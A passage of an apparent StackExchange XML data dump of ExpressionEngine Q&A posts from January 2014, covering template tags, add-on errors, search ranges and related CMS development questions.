&amp;lt;input type=&quot;submit&quot; value=&quot;Submit&quot; /&amp;gt;&#xA;&#xA;{/exp:user:edit}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Any ideas? Appreciate for help&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks&lt;/p&gt;&#xA;" OwnerUserId="1350" LastEditorUserId="1350" LastEditDate="2014-01-26T23:31:55.107" LastActivityDate="2014-01-27T18:28:27.040" Title="Unable to force user to input password after editing profile (Solspace User)" Tags="|members|solspace|solspace-user|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18772" PostTypeId="2" ParentId="18758" CreationDate="2014-01-26T23:12:08.107" Score="2" Body="&lt;p&gt;It sounds like you purchased this license and own it under your account. If the client never paid you for this license then it is yours and you're free to do with it what you will.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Report the client to EllisLab if they truly are simply denying to pay for the license. Also, don't work for this client again in the future as it sounds like they're not very appreciative of the value of other peoples' work.&lt;/p&gt;&#xA;" OwnerUserId="326" LastActivityDate="2014-01-26T23:12:08.107" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18773" PostTypeId="2" ParentId="18750" CreationDate="2014-01-26T23:21:11.413" Score="1" Body="&lt;p&gt;I like to use Snippet Sync (&lt;a href=&quot;http://devot-ee.com/add-ons/snippet-sync&quot; rel=&quot;nofollow&quot;&gt;http://devot-ee.com/add-ons/snippet-sync&lt;/a&gt;) on all of the sites that I work on and we do the same for the sites that we build at The Nerdery.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Using Snippet Sync allows us to save snippets as files which we've found to be much easier manage and it makes it possible to keep snippets under version control which is invaluable. It also gives us the ability to prefix our snippets which is great for code maintainability and readability. IE: snippet/global_header maps to snippets/default_site/global.group/header.html&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I use Stash for template partials and caching and we've never really felt the need to do anything differently. I recommend that you check out that approach. It seems simpler and easy to manage in the long run.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I would love to hear any reasons for using Stash vs this approach.&lt;/p&gt;&#xA;" OwnerUserId="326" LastActivityDate="2014-01-26T23:21:11.413" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="18774" PostTypeId="2" ParentId="18768" CreationDate="2014-01-27T01:50:57.757" Score="0" Body="&lt;p&gt;Assuming you are looking for entries where &lt;em&gt;no&lt;/em&gt; images have been added to the Channel Images field...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;All you would have to do is query exp_channel_data where field_id_X is empty (with field_id_X as the Channel Images field). Even though Channel Images data is in another table, there is a marker in exp_channel_data when the field is not empty.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This isn't tested with the very &lt;em&gt;latest&lt;/em&gt; version of Channel Images, but for previous versions this works for me:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;SELECT entry_id &#xA;FROM exp_channel_data&#xA;WHERE field_id_65 = ''&#xA;AND channel_id = '9'&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Just update your &lt;code&gt;field_id&lt;/code&gt; as appropriate for your Channel Images field and update the &lt;code&gt;channel_id&lt;/code&gt; to match the channel of interest.&lt;/p&gt;&#xA;" OwnerUserId="22" LastActivityDate="2014-01-27T01:50:57.757" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18775" PostTypeId="2" ParentId="18768" CreationDate="2014-01-27T02:03:31.233" Score="0" Body="&lt;p&gt;You could make an EE template with simple channel:entries loop and a conditional to see if the field is empty. If empty, print entry name, ID, whatever:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;{exp:channel:entries} &#xA;  {if thumbnail == &quot;&quot;} &#xA;  {title} &#xA;  {/if}&#xA;  {/exp:channel:entries}&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;In this example &lt;strong&gt;thumbnail&lt;/strong&gt; is the name of the channel images field.&lt;/p&gt;&#xA;" OwnerUserId="982" LastActivityDate="2014-01-27T02:03:31.233" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="18776" PostTypeId="2" ParentId="18626" CreationDate="2014-01-27T02:26:34.927" Score="1" Body="&lt;p&gt;As you suspected, you're bumping into some resource or config setting limit, you just have to figure out which one. A common culprit (other than memory_limit), is max_input_vars.&lt;/p&gt;&#xA;" OwnerUserId="8" LastActivityDate="2014-01-27T02:26:34.927" CommentCount="9" ContentLicense="CC BY-SA 3.0" />
  <row Id="18778" PostTypeId="1" CreationDate="2014-01-27T03:02:25.270" Score="1" ViewCount="68" Body="&lt;p&gt;I have wrapped this in a Snippet to advance the parsing order, but I cannot seem to get this to work...hence the {?}.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;ul class=&quot;accordion&quot;&amp;gt;&#xA;&#xA;&#xA;{exp:channel:category_archive channel=&quot;hurricane&quot; style=&quot;linear&quot; dynamic=&quot;on&quot; }&#xA;&#xA;           {categories}&#xA;        {if segment_3 == '{?}'}&amp;lt;li class=&quot;active&quot;&amp;gt; {if:else} &amp;lt;li class=&quot;&quot;&amp;gt;{/if}&#xA;          &amp;lt;div class=&quot;title&quot;&amp;gt;&#xA;            &amp;lt;h5&amp;gt;{category_name}&amp;lt;/h5&amp;gt;&#xA;          &amp;lt;/div&amp;gt;{/categories}&#xA;          &amp;lt;div class=&quot;content&quot;&amp;gt;&#xA;           {entry_titles}&#xA;           &amp;lt;a href=&quot;{path='members/hurricane/'}&quot;&amp;gt;{title}&amp;lt;/a&amp;gt;&amp;lt;br /&amp;gt;&#xA;           {/entry_titles}&#xA;          &amp;lt;/div&amp;gt;&#xA;&#xA;        &amp;lt;/li&amp;gt;&#xA;         {/exp:channel:category_archive}            &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;/p&gt;&#xA;" OwnerUserId="552" LastEditorUserId="552" LastEditDate="2014-01-27T03:21:23.317" LastActivityDate="2014-03-29T01:02:56.353" Title="Advanced conditional in Category_Archive Channel to show &quot;active&quot; entry (using Structure)" Tags="|structure|categories|advanced-conditionals|" AnswerCount="2" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="18779" PostTypeId="2" ParentId="18593" CreationDate="2014-01-27T03:46:12.577" Score="2" Body="&lt;p&gt;I did that once. I almost got my birthday taken away because of it. If you must add a comma, make sure you spell it out. In Pig Latin.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Ommacay&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But make sure you don't have the Pig Latin add-on installed or EE will totally figure out your game and mess you up.&lt;/p&gt;&#xA;" OwnerUserId="274" LastActivityDate="2014-01-27T03:46:12.577" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18780" PostTypeId="2" ParentId="18778" CreationDate="2014-01-27T06:26:03.937" Score="0" Body="&lt;p&gt;What happens when you use:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;segment_3 == {category_URL_title}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Assuming you're looking to see if current category is in the URL.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I try and avoid if:else and simply use 2 simples instead or switchee.&lt;/p&gt;&#xA;" OwnerUserId="166" LastActivityDate="2014-01-27T06:26:03.937" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="18781" PostTypeId="1" AcceptedAnswerId="18782" CreationDate="2014-01-27T06:37:44.247" Score="1" ViewCount="397" Body="&lt;p&gt;I'm not getting the expected results with low search range.&#xA;Here is my search form&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:low_search:form collection=&quot;press_releases&quot; required=&quot;keywords&quot; result_page=&quot;/communications/result&quot;}&#xA;&amp;lt;fieldset&amp;gt;&#xA;&amp;lt;label for=&quot;keywords&quot;&amp;gt;Keywords&amp;lt;/label&amp;gt;&#xA;&amp;lt;input type=&quot;text&quot; name=&quot;keywords&quot; id=&quot;keywords&quot; /&amp;gt;&#xA;&amp;lt;input name=&quot;range-from:entry_date&quot; value=&quot;2014-01-01&quot;&amp;gt;&#xA;&amp;lt;input name=&quot;range-to:entry_date&quot; value=&quot;2014-01-24&quot;&amp;gt;&#xA;&amp;lt;button type=&quot;submit&quot;&amp;gt;Search&amp;lt;/button&amp;gt;&#xA;&amp;lt;/fieldset&amp;gt;&#xA;{/exp:low_search:form}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Search Result Code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:low_search:results status=&quot;not closed&quot; query=&quot;{segment_3}&quot; disable=&quot;member_data|category_fields&quot;}&#xA;{if count ==  1}&amp;lt;ol&amp;gt;{/if}&#xA;&amp;lt;li&amp;gt;&amp;lt;a href=&quot;{path='communications/view'}/{url_title}&quot;&amp;gt;{title}&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;&#xA;{if count == total_results}&amp;lt;/ol&amp;gt;{/if}&#xA;{if no_results}No search results{/if}&#xA;{/exp:low_search:results}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;How i can handle this with low search using range?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks in advance.&lt;/p&gt;&#xA;" OwnerUserId="2664" LastActivityDate="2014-01-27T07:44:09.977" Title="how to do search between two dates from date and to date using low search in expressionengine" Tags="|channel-entries|search|low-search|entries|date|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18782" PostTypeId="2" ParentId="18781" CreationDate="2014-01-27T07:44:09.977" Score="1" Body="&lt;p&gt;Currently, the &lt;a href=&quot;http://gotolow.com/addons/low-search/docs/filters#ranges&quot; rel=&quot;nofollow&quot;&gt;Range filter&lt;/a&gt; only targets custom channel fields. If you want to target the entry_date, you can use the native &lt;a href=&quot;http://ellislab.com/expressionengine/user-guide/modules/channel/channel_entries.html#start-on&quot; rel=&quot;nofollow&quot;&gt;start_on and stop_before parameters&lt;/a&gt;. If you do, make sure the values are formatted as stated in the EE docs, so something like:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;input name=&quot;start_on&quot; value=&quot;2014-01-01 00:00&quot;&amp;gt;&#xA;&amp;lt;input name=&quot;stop_before&quot; value=&quot;2014-01-24 23:59&quot;&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="172" LastActivityDate="2014-01-27T07:44:09.977" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18783" PostTypeId="1" AcceptedAnswerId="18818" CreationDate="2014-01-27T13:31:11.200" Score="2" ViewCount="92" Body="&lt;p&gt;I have a custom field called &quot;newsletter&quot;, I've mapped this to order_custom2 from within the store settings and used the following code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;  &amp;lt;div class=&quot;control-group {if error:order_custom2}error{/if}&quot;&amp;gt;&#xA;    &amp;lt;label class=&quot;control-label&quot; for=&quot;order_custom2&quot;&amp;gt;Newsletter&amp;lt;/label&amp;gt;&#xA;    &amp;lt;div class=&quot;controls&quot;&amp;gt;&#xA;      {field:order_custom2} {error:order_custom2}&#xA;    &amp;lt;/div&amp;gt;&#xA;  &amp;lt;/div&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;However it's outputting the field as a input text box rather than a select box (it was set as a select box in the member preferences) and I can't work out how to change it from a text field to a select box, any ideas?&lt;/p&gt;&#xA;" OwnerUserId="1014" LastActivityDate="2014-01-28T09:01:29.677" Title="Outputting select field with order_custom fields in Expresso Store" Tags="|expresso-store|members|custom-fields|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18786" PostTypeId="1" AcceptedAnswerId="18787" CreationDate="2014-01-27T15:38:53.563" Score="1" ViewCount="241" Body="&lt;p&gt;I'm using NSM Better Meta 1.1.3 with EE 2.7.2 . I'm trying add entry specific meta data, however when I use the tag: {exp:nsm_better_meta:template url_title=&quot;{segment_3}&quot;} I get the error below.  It seems to the url_title part that's causing the issue, any other nsm_better_tag works just fine.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any ideas?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks,&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Error Number: 1054&#xA;&#xA;Unknown column 'exp_channel_titles.dst_enabled' in 'field list'&#xA;&#xA;SELECT exp_members.screen_name   as e_author, exp_channel_titles.entry_id    as e_entry_id, exp_channel_titles.channel_id    as e_channel_id, exp_channel_titles.site_id     as e_site_id, exp_channel_titles.title  as e_title, exp_channel_titles.url_title    as e_url_title, exp_channel_titles.entry_date   as e_date_created, exp_channel_titles.edit_date     as e_date_modified, exp_channel_titles.expiration_date  as e_date_valid, exp_channel_titles.author_id   as e_author_id, exp_channel_titles.day  as e_day, exp_channel_titles.month  as e_month, exp_channel_titles.year     as e_year, exp_channel_titles.dst_enabled   as e_dst_enabled, exp_nsm_better_meta.language_id   as e_language, exp_nsm_better_meta.title    as meta_title, exp_nsm_better_meta.description  as meta_description, exp_nsm_better_meta.keywords   as meta_keywords, exp_nsm_better_meta.keywords_append_default   as meta_keywords_append_default, exp_nsm_better_meta.publisher  as meta_publisher, exp_nsm_better_meta.author   as meta_author, exp_nsm_better_meta.rights  as meta_rights, exp_nsm_better_meta.canonical_url   as meta_canonical_url, exp_nsm_better_meta.robots_index     as meta_robots_index, exp_nsm_better_meta.robots_follow     as meta_robots_follow, exp_nsm_better_meta.robots_archive   as meta_robots_archive, exp_nsm_better_meta.sitemap_include     as meta_sitemap_include, exp_nsm_better_meta.sitemap_change_frequency  as meta_sitemap_change_frequency, exp_nsm_better_meta.sitemap_priority   as meta_sitemap_priority, exp_nsm_better_meta.geo_region    as meta_geo_region, exp_nsm_better_meta.geo_placename   as meta_geo_placename, exp_nsm_better_meta.geo_latitude     as meta_geo_latitude, exp_nsm_better_meta.geo_longitude     as meta_geo_longitude FROM exp_channel_titles INNER JOIN exp_members ON exp_channel_titles.author_id = exp_members.member_id LEFT JOIN exp_nsm_better_meta ON exp_channel_titles.entry_id = exp_nsm_better_meta.entry_id WHERE (exp_channel_titles.url_title = 'about_us' AND exp_channel_titles.site_id = '1') AND ( exp_nsm_better_meta.language_id = 0 OR exp_nsm_better_meta.entry_default = 1 OR # NULL for entries that have no meta exp_nsm_better_meta.language_id IS NULL ) ORDER BY exp_nsm_better_meta.language_id DESC LIMIT 1&#xA;&#xA;Filename: third_party/nsm_better_meta/mod.nsm_better_meta.php&#xA;&#xA;Line Number: 205&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="984" LastEditorUserId="55" LastEditDate="2014-01-27T16:23:09.080" LastActivityDate="2014-01-27T17:26:18.893" Title="NSM Better Meta database error" Tags="|meta|metadata|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18787" PostTypeId="2" ParentId="18786" CreationDate="2014-01-27T16:25:29.543" Score="2" Body="&lt;p&gt;You'll definitely need to upgrade to &lt;a href=&quot;http://ee-garage.com/nsm-better-meta/release-notes#toc-v1_1_5a&quot; rel=&quot;nofollow&quot;&gt;NSM Better Meta 1.1.5a&lt;/a&gt; - the release notes mention EE 2.6 compatibility, which likely includes accounting for the database changes which it brought (specifically, the removal of the &lt;code&gt;dst_enabled&lt;/code&gt; column).&lt;/p&gt;&#xA;" OwnerUserId="55" LastEditorUserId="55" LastEditDate="2014-01-27T17:26:18.893" LastActivityDate="2014-01-27T17:26:18.893" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="18788" PostTypeId="1" AcceptedAnswerId="18807" CreationDate="2014-01-27T17:46:31.417" Score="0" ViewCount="45" Body="&lt;p&gt;Last week I set up a simple commerce section for a client which included two email templates: one to the buyer and one to the seller. In my testing the buyer notice arrived but when other users tested the purchase the notice never came through.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is the text of the email:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Dear {first_name} {last_name},&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;Thank you for your purchase. &lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;You can download the video: &lt;a href=&quot;http://www.sitename.com/store/success&quot; rel=&quot;nofollow&quot;&gt;http://www.sitename.com/store/success&lt;/a&gt;.&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;Sincerely,&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;Client Name&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Is there anything that would be preventing the emails from getting through to the buyer?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks.&lt;/p&gt;&#xA;" OwnerUserId="258" LastActivityDate="2014-01-27T23:34:04.717" Title="Simple Commere Email send issues" Tags="|email|notification|simple-commerce|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="18789" PostTypeId="2" ParentId="18755" CreationDate="2014-01-27T17:48:18.163" Score="1" Body="&lt;p&gt;I appreciate the input above, but after additional research found the handy extension from Brian Litzinger: &lt;a href=&quot;https://boldminded.com/add-ons/csm&quot; rel=&quot;nofollow&quot;&gt;Custom System Messages&lt;/a&gt; which completely resolved the issue for me.&lt;/p&gt;&#xA;" OwnerUserId="258" LastActivityDate="2014-01-27T17:48:18.163" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18790" PostTypeId="2" ParentId="18593" CreationDate="2014-01-27T18:25:01.473" Score="2" Body="&lt;p&gt;You must be surfing the interwebs on Internet Explorer. It's a well known bug in IE that hammers IE users all of the time. Bill Gates is said to have personally taken up fight on excess comma's.&#xA;Maybe &lt;a href=&quot;https://english.stackexchange.com/questions/57542/probably-excessive-commas-a-part-of-sentence-looks-like-a-list-of-items&quot;&gt;these tips&lt;/a&gt; can help&lt;/p&gt;&#xA;" OwnerUserId="215" LastEditorUserId="-1" LastEditDate="2017-04-13T12:38:47.130" LastActivityDate="2014-01-27T18:25:01.473" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18791" PostTypeId="2" ParentId="18771" CreationDate="2014-01-27T18:28:27.040" Score="1" Body="&lt;p&gt;From the &lt;a href=&quot;http://www.solspace.com/docs/user/edit/#f_current_password&quot; rel=&quot;nofollow&quot;&gt;Solspace documentation about the &lt;code&gt;current_password&lt;/code&gt; form field&lt;/a&gt;:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;This form field is available and required in certain instances where the current password is required to update or change certain profile data:&lt;/p&gt;&#xA;  &#xA;  &lt;ul&gt;&#xA;  &lt;li&gt;&lt;code&gt;password&lt;/code&gt; &amp;amp; &lt;code&gt;password_confirm&lt;/code&gt; fields are modified (unless the submitter is a Super Admin or in one of the authorized member groups specified in the group_id parameter).&lt;/li&gt;&#xA;  &lt;li&gt;&lt;code&gt;email&lt;/code&gt; field is modified.&lt;/li&gt;&#xA;  &lt;li&gt;&lt;code&gt;username&lt;/code&gt; field is modified.&lt;/li&gt;&#xA;  &lt;li&gt;&lt;code&gt;screen_name&lt;/code&gt; field is modified, unless screen_name_password_required parameter is specified with value of no.&lt;/li&gt;&#xA;  &lt;li&gt;&lt;code&gt;password_required&lt;/code&gt; parameter is specified with value of yes.&lt;/li&gt;&#xA;  &lt;/ul&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Note that &lt;code&gt;current_password&lt;/code&gt; isn't affected by editing a custom member field.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also, &lt;code&gt;current_password&lt;/code&gt; also isn't necessary if you're logged in as a member whose member group has administrative powers, which is controlled by the &lt;code&gt;group_id=&quot;&quot;&lt;/code&gt; parameter. If you remove your group_id from the &lt;code&gt;group_id=&quot;&quot;&lt;/code&gt; parameter in your code above, &lt;code&gt;current_password&lt;/code&gt; becomes required if you modify any of the above fields mentioned in the documentation.&lt;/p&gt;&#xA;" OwnerUserId="884" LastActivityDate="2014-01-27T18:28:27.040" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="18792" PostTypeId="1" CreationDate="2014-01-27T18:42:24.970" Score="1" ViewCount="41" Body="&lt;p&gt;I'm using VMG Chosen Member as a Field Type so administrators can easily add Members of a custom Member Group 'Customers' to different Channel Entries.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is fine, but when in the Control Panel I cannot search or filter on this Field Type. I have set the VMG Chosen Member (Customer) to be searchable but this doesn't make a difference.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is a major issue for my client, as they will need to be able to search and filter entries in the CP by 'Customer'.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Does anyone know if this is an actual issue or something else I could do to get around it?&lt;/p&gt;&#xA;" OwnerUserId="2299" LastEditorUserId="197" LastEditDate="2014-01-27T19:40:25.973" LastActivityDate="2014-03-28T20:02:47.313" Title="Searching field types set to VMG Chosen Member in the Control Panel" Tags="|control-panel|vmg-chosen-member|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18793" PostTypeId="5" CreationDate="2014-01-27T19:30:26.470" Score="0" Body="" OwnerUserId="-1" LastEditorUserId="-1" LastEditDate="2014-01-27T19:30:26.470" LastActivityDate="2014-01-27T19:30:26.470" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18794" PostTypeId="4" CreationDate="2014-01-27T19:30:26.470" Score="0" Body="VMG Chosen Member is fieldtype allowing users to select ExpressionEngine members are store them in a field." OwnerUserId="197" LastEditorUserId="197" LastEditDate="2014-01-27T20:09:23.480" LastActivityDate="2014-01-27T20:09:23.480" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18795" PostTypeId="2" ParentId="18792" CreationDate="2014-01-27T19:40:10.207" Score="1" Body="&lt;p&gt;I believe this is because of how VMG Chosen Member stores the member data in the exp_channel_data table, not in a full text format. Unfortunately this isn't an issue with the add-on, it's just how it works.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What you may be able to do is use the &lt;a href=&quot;http://zenbustudio.com/software/zenbu&quot; rel=&quot;nofollow&quot;&gt;Zenbu&lt;/a&gt; addon, which overrides the Edit screen. You could then build a custom extension that searches the correct field from the exp_members table, rather than the default exp_channel_data field. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you haven't worked with extensions before, this wouldn't quite be trivial to do, but it's the only option I can think of.&lt;/p&gt;&#xA;" OwnerUserId="197" LastActivityDate="2014-01-27T19:40:10.207" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="18796" PostTypeId="2" ParentId="18658" CreationDate="2014-01-27T20:44:30.547" Score="0" Body="&lt;p&gt;I don't know that I completely follow what you are after, but it looks like a nasty little ditty.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Without knowing how everything is set up, you might be able to try using embeds to toss the data around like you need it. I haven't tested any of this, but it looks like it would do what you need.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In your main template:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries &#xA;    channel=&quot;print_editions&quot; &#xA;    disable=&quot;pagination&quot; &#xA;    limit=&quot;1&quot;&#xA;}&#xA;    {parents}&#xA;        &amp;lt;h2&amp;gt;{parents:categories}{category_name}{/parents:categories}&amp;lt;/h2&amp;gt;&#xA;        &amp;lt;ul&amp;gt;&#xA;            {embed=&quot;template_group/category-archive-data-template&quot; &#xA;                entryID=&quot;{entry_id}&quot; &#xA;                entryChannel=&quot;{channel}&quot; &#xA;                archiveChannel=&quot;articles&quot;&#xA;            }&#xA;        &amp;lt;/ul&amp;gt;&#xA;    {/parents}&#xA;&#xA;{/exp:channel:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Then the 'category-archive-data-template' could have:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:category_archive &#xA;    channel=&quot;{embed:archiveChannel}&quot; &#xA;    style=&quot;linear&quot; &#xA;    show_empty=&quot;no&quot; &#xA;    status=&quot;not closed&quot;&#xA;}&#xA;    {embed=&quot;template_group/back-to-parent-relationship-data&quot; &#xA;        categoryID=&quot;{categories}{category_id}{/categories}&quot; &#xA;        entryChannel=&quot;{embed:entryChannel}&quot; &#xA;        entryID=&quot;{embed:entryID}&quot;&#xA;    }&#xA;{/exp:channel:category_archive}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Then in the 'back-to-parent-relationship-data' you could do the following:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries &#xA;    channel=&quot;{embed:entryChannel}&quot; &#xA;    entry_id=&quot;{embed:entryID}&quot; &#xA;    category=&quot;{embed:categoryID}&quot; &#xA;    disable=&quot;pagination&quot;&#xA;}&#xA;    {parents}&#xA;        {parents:entry_titles}&#xA;            &amp;lt;li&amp;gt;{parents:title}&amp;lt;li&amp;gt;    &#xA;        {/parents:entry_titles} &#xA;    {/parents}&#xA;{/exp:channel:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="3139" LastActivityDate="2014-01-27T20:44:30.547" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="18798" PostTypeId="1" CreationDate="2014-01-27T21:23:10.063" Score="0" ViewCount="129" Body="&lt;p&gt;I have a Channel with 4 custom fields which represent half hour timeslots (10-10.30, 10.30-11 etc) - the idea is that the field is populated with the logged in users name to marry them up for an appointment in the required slot. So far so good.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Each person can only choose ONE timeslot so when in an ChannelForm to add/edit/remove their name in the field I would like them to see a drop down where they can choose from the four timeslots (i.e. fields) and then submit (their name can be passed in a hidden field).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is rather than have a Channel-Form template which actually shows the four fields...in effect it is forcing them to choose one and not allowing them to see the four empty fields...make sense?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is it doable? &lt;/p&gt;&#xA;" OwnerUserId="2748" LastActivityDate="2014-01-29T08:35:30.670" Title="Channel Form Dropdown question" Tags="|channel-form|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="18799" PostTypeId="1" CreationDate="2014-01-27T21:48:02.457" Score="1" ViewCount="77" Body="&lt;p&gt;I have Playa field in a channel that is related to the same channel. So each entry in that channel can be related to another one in that channel. The problem is that to show all related entries for each entry, you have to check for children, parents, coparents and siblings and then filter out all duplicates... &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there an easier way to achieve this?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks&lt;/p&gt;&#xA;" OwnerUserId="2197" LastActivityDate="2014-03-28T23:02:47.060" Title="How do I get all 'relatives' of a Playa entry?" Tags="|playa|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="18800" PostTypeId="2" ParentId="18799" CreationDate="2014-01-27T22:00:25.567" Score="1" Body="&lt;p&gt;My recommendation would be to simply skip over using playa to begin with.&#xA;I fought and fought with it too at a point.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now I just do this: &lt;a href=&quot;https://expressionengine.stackexchange.com/a/18229/1872&quot;&gt;https://expressionengine.stackexchange.com/a/18229/1872&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Hope it helps you.&lt;/p&gt;&#xA;" OwnerUserId="1872" LastEditorUserId="-1" LastEditDate="2017-04-13T12:49:23.330" LastActivityDate="2014-01-27T22:00:25.567" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18801" PostTypeId="1" AcceptedAnswerId="18813" CreationDate="2014-01-27T22:04:24.053" Score="0" ViewCount="306" Body="&lt;p&gt;I have deployed pagination to one of templates which should to display only 4 products on a page. Index for that template looks like:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{embed=&quot;includes/.header-product&quot; body_color=&quot;#FFFFFF&quot;}&#xA;&#xA;        {if segment_3}{embed=&quot;includes/.nav-main&quot;}{product}{/if}&#xA;        {if segment_2 &amp;amp;&amp;amp; segment_3==&quot;&quot;}{embed=&quot;includes/.nav-main-subcategory&quot;}{subcategory}{/if}&#xA;        {if segment_1 &amp;amp;&amp;amp; segment_2==&quot;&quot;}{embed=&quot;includes/.nav-main&quot;}{category}{/if}&#xA;&#xA;&#xA;{embed=&quot;includes/.footer&quot;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Switchee version of code above:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{embed=&quot;includes/.header-product&quot; body_color=&quot;#FFFFFF&quot;}&#xA;&#xA;&#xA;    {!-- Category view --}&#xA;    {if segment_1 &amp;amp;&amp;amp; segment_2==&quot;&quot;}{embed=&quot;includes/.nav-main&quot;}{category}&#xA;        {!-- /Category view --}&#xA;    {if:else}&#xA;&#xA;        {exp:switchee variable=&quot;{segment_3}&quot; parse=&quot;inward&quot;}&#xA;&#xA;        {case value=&quot;#^P(\d+)$#|''&quot;}&#xA;                {embed=&quot;includes/.nav-main-subcategory&quot;}{embed=&quot;furniture/.subcategory&quot;}&#xA;        {/case}&#xA;&#xA;        {!-- Subcategory view --}&#xA;            {case value=&quot;&quot;}&#xA;                